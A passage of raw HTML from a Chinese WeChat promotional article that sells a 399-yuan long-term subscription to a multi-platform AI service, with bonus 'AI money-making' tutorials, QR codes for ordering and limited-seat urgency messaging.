YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">安卓、iOS、Windows、网页端</span></span></span></strong><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">。</span></span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;text-align: justify;"><span mpa-font-style="mmbs0kbaxji" style="font-size: 16px;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">不管你是在公司用电脑，还是回家躺床上用手机，聊天记录和创作数据</span><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">全部</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">云端同步</span></span></span></strong></span><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs0kba1u9z" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">，无缝切换，灵感永不断线，399元终身享受便捷！</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.5046296296296297" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100003699" src="https://wechat2rss.xlab.app/img-proxy/?k=f390df61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgk3oyP1hqBp64WbMCx491tz6eSXt3xx5w2dibAWN6OgRdAXEXpFG1dgZdpCNz1ia1vLJVCrnvbU92aeEhjiaJyXtqopKTHkv85yAY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D39"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;"><span style="color: rgb(214, 168, 65);font-size: 16px;margin-bottom: 0px;"><strong style="margin-bottom: 0px;"><p data-pm-slice="4 4 []" style="margin-left: 0px;margin-right: 0px;margin-bottom: 0px;line-height: 1.6em;"><span style="font-size: 16px;"><span data-mpa-action-id="mgl08cx86bh" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-left: 16px;margin-right: 16px;margin-bottom: 24px;&#34;,&#34;data-pm-slice&#34;:&#34;4 4 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 16px;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mgl08cx21dhv" style="font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">九、</span></span></span><strong><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;letter-spacing: 0.578px;margin-left: 16px;margin-right: 16px;margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgb(214, 168, 65);font-weight: bold;font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">超值赠品：下单即送3000元AI搞钱干货</span></span></span></strong></span></p></strong></span></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><strong><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs1bv1ixv" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">为了让大家不仅能用上AI，还能用AI赚到自己的第一桶金，我特意准备了三份重磅大礼：</span></span></span></strong></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;line-height: 1.6em;"><span mpa-font-style="mmbs1bv1tk1" style="color: rgb(214, 168, 65);font-size: 16px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(217, 33, 66);">福利1：送价值799元《AI搞钱实操教程》</span></span></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs1bv1xht" style="font-size: 16px;"><span style="letter-spacing: 0.5px;font-weight: bold;"><span leaf="">下单后找客服领取。</span></span><span style="letter-spacing: 0.5px;"><span leaf="">教程实时更新，涵盖市面上最新的AI变现玩法。无论你是哪个行业，都能找到结合点，里面全是实战案例和拆解，拿来就能用。</span></span></span></span></span></p><p data-mpa-action-id="mgo7dy5q4fu" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 8px;margin-right: 8px;padding: 0.5em;line-height: 1.6em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.5810936051899908" data-type="gif" data-w="1079" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;height: auto !important;" type="block" data-imgfileid="100000155" src="https://wechat2rss.xlab.app/img-proxy/?k=69a8a19a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8b5zkqxUoAWUd4eDrdrzd5w0SoZ0Xgrw1hPuHI3pcWywb45FribI0H21A%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D52"/></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 8px;line-height: 1.6em;"><span style="color: rgb(214, 168, 65);font-size: 16px;"><strong><span mpa-font-style="mgo6y7l81j9r" style="font-size: 17px;color: rgb(122, 79, 214);"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(217, 33, 66);">福利2：送价值599元《AI写作变现全套心法》</span></span></span></strong></span></p><p data-mpa-action-id="mglbjtm217qd" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 8px;margin-right: 8px;padding: 0.5em;line-height: 1.6em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.6431881371640408" data-type="gif" data-w="1079" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;height: auto !important;" type="block" data-imgfileid="100000083" src="https://wechat2rss.xlab.app/img-proxy/?k=bcc3c203&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolL8q5dwBlrfxjsdZo8aeWPzSlnsLRUbw3lOiavfO3yXWaIvngsibcoseticg9fqShM7MY1sxD5iaiagGiaYQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D54"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span data-mpa-action-id="mmbs1t73exa" data-pm-slice="0 0 []" mpa-font-style="mmbs1t6r1cqk" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">这是我们团队耗时两个月整理的独家秘籍，10万字干货。包括AI写网文、AI做电商文案、AI生成带货视频脚本等，手把手教你变现。</span></span></span></span></span></p><p data-pm-slice="5 5 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 8px;line-height: 1.6em;"><span style="color: rgb(214, 168, 65);font-size: 16px;"><strong data-mpa-action-id="mgo6yarw1pdr" data-pm-slice="0 0 []"><span mpa-font-style="mgo6yarnber" style="font-size: 17px;color: rgb(122, 79, 214);"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(217, 33, 66);">福利3：</span></span></span><span style="color: rgb(214, 168, 65);font-size: 16px;"><strong><span mpa-font-style="mgo6yarnern" style="font-size: 17px;color: rgb(122, 79, 214);"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(217, 33, 66);">送价值699元《AI公众号爆文写作指南》</span></span></span></strong></span></strong></span></p><p data-mpa-action-id="mglb4rwh1ioy" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 8px;margin-right: 8px;padding: 0.5em;line-height: 1.6em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.6431881371640408" data-s="300,640" data-type="gif" data-w="1079" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;height: auto !important;" type="block" data-imgfileid="100000082" src="https://wechat2rss.xlab.app/img-proxy/?k=1d042dd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolL8q5dwBlrfxjsdZo8aeWPzSeevlSRzv2GesBUagNjGEicwsUv6aPrYbd9UzI2yI6FBaswiamL8wQKTQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D56"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs1vvi18k2" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">两万字精华，专门教你怎么用AI写出10万+爆文。从提示词技巧到账号运营，全流程覆盖。</span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs1vvi1h1l" style="font-size: 16px;letter-spacing: 0.5px;font-weight: bold;"><span leaf="">注意：以上福利仅限通过此文下单的朋友领取！</span></span></span></strong></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼扫码下单，领取全套教程</span></span></span></strong></span></p><p data-mpa-action-id="mn2yzek51sew" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 200px;height: 200px;" type="block" data-imgfileid="100004042" src="https://wechat2rss.xlab.app/img-proxy/?k=69f0fb74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgl9cxkDibibD0yfEMsWVVQQLNN2dyDUJqRvRFoMicJeXOlkkvAtF4FRbibg1d63RV5icU3H1Zzv0scRicEnEeBFxOJjkrdF10m9zgibmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">399元长期使用，仅剩20席</span></span></span></span></strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 24px;"><span style="color: rgb(214, 168, 65);font-size: 16px;margin-bottom: 0px;"><p style="letter-spacing: 0.578px;margin-left: 0px;margin-right: 0px;margin-bottom: 24px;text-align: left;line-height: 1.6em;"><strong><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;letter-spacing: 0.578px; margin-left: 16px; margin-right: 16px; margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgb(214, 168, 65);font-weight: bold;margin-bottom: 0px;font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">十、最后唠两句</span></span></span></strong></p></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-bottom: 0px;line-height: 1.6em;margin-left: 16px;margin-right: 16px;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs3duo1pv6" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""><span textstyle="" style="font-weight: bold;">这20个长期会员的名额，是我们争取了好几次才得来的，主要目的也是为了回馈热爱我们的粉丝。</span>机会永远只留给果断的人，用399元，换取原本需要几万元才能享受的顶级AI服务，这笔账怎么算都划算。</span></span></span></span></p><p data-pm-slice="4 5 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;"><span mpa-font-style="mmbs3duo19pi" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">空前优惠倒计时：</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;"><span mpa-font-style="mmbs3duo1e9i" style="font-size: 16px;"><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">满20人前 ➞</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 41, 65);font-weight: bold;">399元终身使用</span></span></span></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;"><span data-v-4e2afdbc="" mpa-font-style="mmbs3duodbv" style="font-size: 16px;"><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">满20人后 ➞</span><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 41, 65);font-weight: bold;">长期会员</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs3duo1vt5" style="font-size: 16px;letter-spacing: 0.5px;color: rgb(255, 41, 65);font-weight: bold;"><span leaf="">通道关闭，只剩年卡</span></span></span></strong></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼不想拍断大腿，就赶紧扫码</span></span></span></strong></span></p><p data-mpa-action-id="mn2yzmwfv5s" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 199px;height: 199px;" type="block" data-imgfileid="100004043" src="https://wechat2rss.xlab.app/img-proxy/?k=a34cf226&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQWYz6XmYMgkAicPOvWXQp0WCHdfH5Yg8z9jdDESQIcoXm8c3MEtibI4RmJ7GLH9v8R16iaALDHuptvAwObiadkgicXJuabZ5ksPJzK5A40w19wfI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">399员长期使用，仅剩20席</span></span></span></span></strong></p><p data-mpa-action-id="md4w3tl31ops" data-pm-slice="0 0 []" mpa-font-style="m9gsabobxfl" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;"><span mpa-font-style="mglbnbqx1r00"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, 